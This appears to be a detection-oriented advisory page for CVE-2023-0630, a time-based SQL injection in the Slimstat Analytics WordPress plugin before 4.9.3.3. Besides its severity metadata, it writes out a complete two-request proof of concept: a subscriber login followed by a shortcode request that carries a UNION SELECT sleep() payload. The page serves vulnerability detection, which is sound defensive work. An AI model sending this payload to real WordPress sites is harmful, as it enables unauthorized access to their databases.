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CVE-2023-0630: Slimstat Analytics < 4.9.3.3 Subscriber - SQL Injection

TitleSlimstat Analytics < 4.9.3.3 Subscriber - SQL Injection
AuthorDhiyaneshDK
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could lead to unauthorized access to the WordPress database, potentially exposing sensitive information.
RemediationFixed in version 4.9.3.3
CVSS Score8.8
EPSS Score0.92822
CVE IDCVE-2023-0630
CWE IDCWE-89
Tags time-based-sqli cve2023 cve wpscan wp-slimstat wp wp-plugin sqli wordpress authenticated vuln

🔍 Vulnerability Description

The Slimstat Analytics WordPress plugin before 4.9.3.3 does not prevent subscribers from rendering shortcodes that concatenates attributes directly into an SQL query.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_16) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=vKF8oP&pwd=k4gwwT&wp-submit=Log+In&testcookie=1
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 114
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=parse-media-shortcode&shortcode=[slimstat f="count" w="author"]WHERE:1 UNION SELECT sleep(7)-- a[/slimstat]

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-0630.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-0630.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A